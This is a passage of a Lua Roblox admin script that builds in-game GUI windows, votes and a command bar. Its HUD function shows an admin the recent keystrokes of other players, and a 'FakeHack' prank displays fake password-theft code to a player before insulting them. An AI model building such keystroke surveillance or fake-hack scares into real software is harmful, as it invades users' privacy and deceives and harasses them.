4586 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4587 wait(0.05)
4588 end
4589 Form.Dragger.Position = DefPos
4590 CanClick = true
4591 end)()
4592 end
4593 end)
4594 ReloadIcons()
4595
4596 Closed.Event:connect(function()
4597 for Num,Data in pairs(Tasks) do
4598 if Data[1] == Form then
4599 Icon:Destroy()
4600 table.remove(Tasks, Num)
4601 end
4602 end
4603 ReloadIcons()
4604 end)
4605 end)
4606end
4607
4608function GUI:ShowDebtStats(Player, ManualText)
4609 local Text = ManualText
4610 if not ManualText then
4611 Text = "CANNOT GET STATISTICS"
4612 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4613 if RawPage then
4614 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4615 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4616 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4617 end
4618 end
4619
4620 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4621 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4622
4623 return Text
4624end
4625
4626function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4627 if not Player then return nil end
4628 if not CommandTrigger then return nil end
4629
4630 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4631
4632 local CommandKey = CommandTrigger
4633
4634 if not Commands[CommandKey] then
4635 for CommandNames,_ in pairs(Commands) do
4636 for _,CommandName in pairs(CommandNames) do
4637 if CommandName == CommandKey then
4638 CommandKey = CommandNames
4639 end
4640 end
4641 end
4642 end
4643
4644 local CommandData = Commands[CommandKey]
4645
4646 local BodyText = "No valid command has been entered"
4647 local TitleText = "Error"
4648 local CanExe = false
4649 if CommandData then
4650 if Dialog then
4651 Dialog:Invoke(true)
4652 end
4653 local PlayerRank = RANK:GetRank(Player)
4654 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4655 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4656
4657 TitleText = "Command: "..CommandKey[1]
4658 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4659
4660
4661Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4662
4663
4664Description: ]]..CommandData[2]..[[
4665
4666
4667Arguments: ]]..CommandData[3]..[[
4668
4669
4670Minimum rank needed: ]]..CommandData[4]..[[
4671
4672
4673Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4674
4675
4676Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4677
4678
4679Http Command ]]..STRING:BoolString(CommandData.Http)
4680 end
4681
4682 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4683 if Dialog then
4684 Closed.Event:connect(function() Dialog:Invoke(false) end)
4685 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4686 end
4687end
4688
4689function GUI:CreateHUD(Speaker)
4690 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4691
4692 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4693 if SG then SG:Destroy() end
4694 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4695
4696 local function AddHUD(Player, Char)
4697 if not Char or not Char:FindFirstChild("Head") then return nil end
4698
4699 local Rank = RANK:GetRank(Player)
4700 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4701 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4702 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4703 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4704 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4705 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4706 InfoLabel.Text = "Name: "..Player.Name..[[
4707Rank: ]]..RANK:GetRank(Player)..[[
4708Age: ]]..STRING:FindAge(Player.AccountAge)
4709 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4710 InfoLabel.Text = InfoLabel.Text..[[
4711Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4712 end
4713 if LastKeys[Player.UserId] then
4714 local Keys = ""
4715 local KeyLog = {}
4716 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4717 table.insert(KeyLog, KeyData[1])
4718 if KeyData[2] == 8 then
4719 Keys = string.sub(Keys, 1, #Keys - 1)
4720 elseif KeyData[2] == 13 then
4721 Keys = Keys.." "
4722 else
4723 Keys = Keys..string.char(KeyData[2])
4724 end
4725 end
4726 KeyLabel.Text = table.concat(KeyLog, "\n")
4727 KeyOutput.Text = Keys
4728 end
4729 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4730 end end)()
4731
4732 local CharRev,Removing = nil,nil
4733 CharRev = Player.CharacterRemoving:connect(function()
4734 PlayerHUD:Destroy()
4735 CharRev:disconnect()
4736 Removing:disconnect()
4737 end)
4738 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4739 PlayerHUD:Destroy()
4740 CharRev:disconnect()
4741 Removing:disconnect()
4742 end end)
4743 end
4744
4745 local function ConnectHUD(Player)
4746 if Player ~= Speaker then
4747 if Player.Character then
4748 AddHUD(Player, Player.Character)
4749 end
4750
4751 Player.CharacterAdded:connect(function(Char)
4752 if Speaker then
4753 AddHUD(Player, Char)
4754 else return nil
4755 end
4756 end)
4757 end
4758 end
4759
4760 for _,Player in pairs(Server.Players:GetPlayers()) do
4761 ConnectHUD(Player)
4762 end
4763
4764 Server.Players.PlayerAdded:connect(ConnectHUD)
4765end
4766
4767function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4768 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4769 local Stopped = false
4770
4771 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4772 Frame.Size = UDim2.new(1, 0, 1, -30)
4773 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4774
4775 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4776 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4777 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4778
4779 local function AddLine(Speaker, MessageText, MessageColor)
4780 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4781 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4782 if not MessageColor then MessageColor = GUI:ContrastColor() end
4783 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4784 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4785 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4786 Bounds.Parent = Frame
4787 end
4788
4789 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4790
4791 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4792 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4793 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4794
4795 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4796 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4797
4798 CORE:ExecuteResource("MessagePromptHandler", Frame)
4799
4800 wait(0.1)
4801
4802 if PreAdd then
4803 for Num,Add in pairs(PreAdd) do
4804 AddLine(Add[1], Add[2], Add[3])
4805 end
4806 end
4807
4808 --[[
4809 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4810
4811 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4812 if ChatBox.Text == "Click here or press the '-' key" then
4813 ChatBox.Text = ""
4814 end
4815 end)
4816 ]]
4817
4818 local function FireSendPressed()
4819 local Text = CORE:ReadProperty(RPR, Player, "Text")
4820 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4821 SendPressed:Fire(Text)
4822 FakeCB.Visible = true
4823 ClearCB:InvokeClient(Player)
4824 end
4825 end
4826
4827 Closed.Event:connect(function()
4828 if Stopped == false then
4829 Stopped = true
4830 if SpeakerEvents then SpeakerEvents("Leave") end
4831 end
4832 end)
4833
4834 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4835 EnterPressed.OnServerInvoke = FireSendPressed
4836 AddMessage.OnInvoke = AddLine
4837
4838 if SpeakerEvents then
4839 SpeakerEvents("Join")
4840
4841 coroutine.wrap(function()
4842 repeat wait() until not Frame or not Frame.Parent
4843 if Stopped == false then
4844 Stopped = true
4845 SpeakerEvents("Leave")
4846 end
4847 end)()
4848 end
4849
4850 return SendPressed, AddMessage
4851end
4852
4853function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4854 if tonumber(Time) then ShowFormButtons = false end
4855 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4856 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4857 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4858 local Clicked = nil
4859 local Alive = true
4860
4861 local function ClosePrompt(ButtonName)
4862 Alive = false
4863 Close:Invoke()
4864 Clicked = ButtonName
4865 end
4866
4867 for Num,Select in pairs(Buttons) do
4868 local Name = Select
4869 local Style = "White"
4870 local TextColor3 = Color3.new(0,0,0)
4871 if type(Select) == "table" then
4872 Name = Select[1]
4873 if Select[2] then Style = Select[2] end
4874 if Select[3] then TextColor3 = Select[3] end
4875 elseif type(Select) == "string" then
4876 local Case = string.lower(Select)
4877 if Case == "ok" then
4878 Name = "Ok"
4879 Style = "Primary"
4880 TextColor3 = Color3.new(1,1,1)
4881 elseif Case == "yes" then
4882 Name = "Yes"
4883 Style = "Gray"
4884 TextColor3 = Color3.new(0,1,0)
4885 elseif Case == "no" then
4886 Name = "No"
4887 Style = "Red"
4888 TextColor3 = Color3.new(1,0,0)
4889 end
4890 end
4891
4892 if Style == "None" then Style = "Custom" end
4893 if Style == "Casual" then Style = "RobloxButton" end
4894 if Style == "Red" then Style = "RobloxButtonDefault" end
4895 if Style == "Gray" then Style = "RobloxRoundButton" end
4896 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4897 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4898
4899 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4900 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4901 SOUND:BindButton(Button)
4902 end
4903
4904 if tonumber(Time) then
4905 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4906 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4907 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4908
4909 for i = Time,0,-1 do
4910 for ii = 1,10 do
4911 if Alive == true then
4912 Ticker.Text = i
4913 wait(0.1)
4914 else
4915 break
4916 end
4917 end
4918 end
4919 if Alive == true then
4920 ClosePrompt()
4921 end
4922 end
4923
4924 repeat wait() until Alive == false
4925 return Clicked
4926end
4927
4928function GUI:Vote(Speaker, Players, Text, Time)
4929 if not Players or not Text or #Players <= 0 then return end
4930
4931 local Votes = {}
4932 local Tick = 0
4933
4934 for _,Player in pairs(Players) do
4935 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4936 local CanVote = true
4937 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4938 if CanVote == true then
4939 coroutine.wrap(function()
4940 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4941 if Answer == nil then Answer = "Unknown" end
4942 table.insert(Votes, Answer)
4943 end)()
4944 end
4945 end
4946 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4947 wait(2)
4948 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4949 local Total = #Players
4950 local Yes,No,Unknown = 0,0,0
4951 for _,Vote in pairs(Votes) do
4952 if Vote == "Yes" then Yes = Yes + 1
4953 elseif Vote == "No" then No = No + 1
4954 end
4955 end
4956 Unknown = #Players - #Votes
4957
4958 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4959 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4960 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4961]]..Yes.."/"..Total..[[
4962]]..math.ceil((Yes/Total)*100).."% "
4963 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4964]]..No.."/"..Total..[[
4965]]..math.ceil((No/Total)*100).."% "
4966 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4967]]..Unknown.."/"..Total..[[
4968]]..math.ceil((Unknown/Total)*100).."% "
4969 end
4970end
4971
4972--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4973
4974function GUI:LoadGui(Player, Text, InfoText)
4975 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4976 local Dead = false
4977
4978 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4979 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4980 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4981 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4982 if InfoText then Info.Text = InfoText end
4983
4984 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4985 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4986
4987 CloseGui.OnInvoke = function()
4988 Close:Invoke()
4989 Dead = true
4990 end
4991 AddInfo.OnInvoke = function(AddText)
4992 Info.Text = AddText
4993 end
4994
4995 coroutine.wrap(function()
4996 for i = 0,math.huge,3 do
4997 if Dead == false and Frame then
4998 WaitIcon.Rotation = i
4999 wait()
5000 else
5001 break
5002 end
5003 end
5004 end)()
5005
5006 coroutine.wrap(function()
5007 while Dead == false and Frame do
5008 wait(0.5)
5009 LoadLabel.Text = Text.."."
5010 wait(0.5)
5011 LoadLabel.Text = Text..".."
5012 wait(0.5)
5013 LoadLabel.Text = Text.."..."
5014 wait(0.5)
5015 LoadLabel.Text = Text..".."
5016 wait(0.5)
5017 LoadLabel.Text = Text.."."
5018 wait(0.5)
5019 LoadLabel.Text = Text
5020 end
5021 end)()
5022
5023 wait(1)
5024
5025 return CloseGui, AddInfo
5026end
5027
5028function GUI:FakeHack(Player) coroutine.wrap(function()
5029 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5030 local FakeText = [[
5031>SHELL: BEGIN
5032>RUNCODE:
5033return {
5034 local Hack = {"Account", "Robux"};
5035 Log("RIP TIX.")
5036 function Start(Type, Inject, Scan)
5037 if not Inject then Inject = "In-Game" end
5038 return {Type, Inject, Scan}
5039 end
5040 for Exe,Exploit in pairs(Hack) do
5041 local IP = Start("In-Game",Exploit,
5042 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5043 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5044 )
5045 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5046 for i = 1,#Injection[2] do
5047 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5048 end
5049 local PlayerProxy = newproxy(true)
5050 setmetatable(PlayerProxy,Injection[3],{
5051 __index = function(StealData, ...) local Data = unpack(...)
5052 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5053 end;
5054 })
5055 end
5056 local Password = game.Players.PasswordID
5057 Steal(Password)
5058 Log("Password hacked!")
5059 Log("HACKED HOST: PLAYERNAME")
5060}
5061>RIP TIX.
5062>Password hacked!
5063>HACKED HOST: PLAYERNAME
5064
5065]]
5066 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5067 if SG then SG:Destroy() end
5068 SG = Instance.new("ScreenGui", Player.PlayerGui)
5069 SG.Name = "MML Hack Gui"
5070 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5071 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5072 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5073 for i = 1,#FakeText do
5074 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5075 if math.random(1,5) == 1 then
5076 wait()
5077 end
5078 end
5079 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5080 wait(3)
5081 HT.Text = HT.Text..[[>INFO: Are you really that stupid? You did not really get hacked idiot!. This is just a fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5082 X.Visible = true
5083end)() end
5084
5085function GUI:CommandBar(Player)
5086 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5087
5088 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5089 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5090 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5091 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5092
5093 local _,Rank = RANK:GetRank(Player)
5094 local UsableCommands = {}
5095 for CommandNames,Data in pairs(Commands) do
5096 if not Data.Hidden then
5097 if RANK:ConvertRank(Data[4]) <= Rank then
5098 for _,Command in pairs(CommandNames) do
5099 table.insert(UsableCommands, {Command, Data[3]})
5100 end
5101 end
5102 end
5103 end
5104
5105 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5106
5107 local function ExecuteText()
5108 local Text = CORE:ReadProperty(RPR, Player, "Text")
5109 CORE:Chatted(Text, Player, true)
5110 CommandBox.Text = "Enter a command here"
5111 end
5112
5113 local function AddSuggestion(Text)
5114 if Text == nil then Text = Settings.Prefix end
5115 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5116 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5117 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5118 if Text == Settings.Prefix then
5119 CommandBox.Text = Settings.Prefix
5120 else
5121 CommandBox.Text = Settings.Prefix..Text
5122 end
5123 CORE:ExecuteResource("Focus", CommandBox)
5124 end, true)
5125 end
5126
5127 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5128 if CommandBox.Text == "Enter a command here" then
5129 CommandBox.Text = ""
5130 end
5131 end)
5132
5133 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5134 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5135
5136 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5137 EnterPressed.OnServerInvoke = ExecuteText
5138
5139 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5140 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5141 Suggest:ClearAllChildren()
5142 local Text = CORE:ReadProperty(RPR, Player, "Text")
5143 if Text == "" then
5144 AddSuggestion(Settings.Prefix)
5145 end
5146
5147 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5148 Text = string.sub(Text,#Settings.Prefix+1)
5149 end
5150 for _,Data in pairs(UsableCommands) do
5151 local Command,Args = Data[1],Data[2]
5152 if string.find(string.lower(Command),string.lower(Text)) then
5153 local NewSuggestion = Command
5154 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5155 AddSuggestion(NewSuggestion)
5156 end
5157 end
5158
5159 end end)
5160end
5161
5162function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5163 if not Player or not AllSeconds then return nil end
5164 AllSeconds = tonumber(AllSeconds)
5165 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5166 AllSeconds = math.floor(AllSeconds)
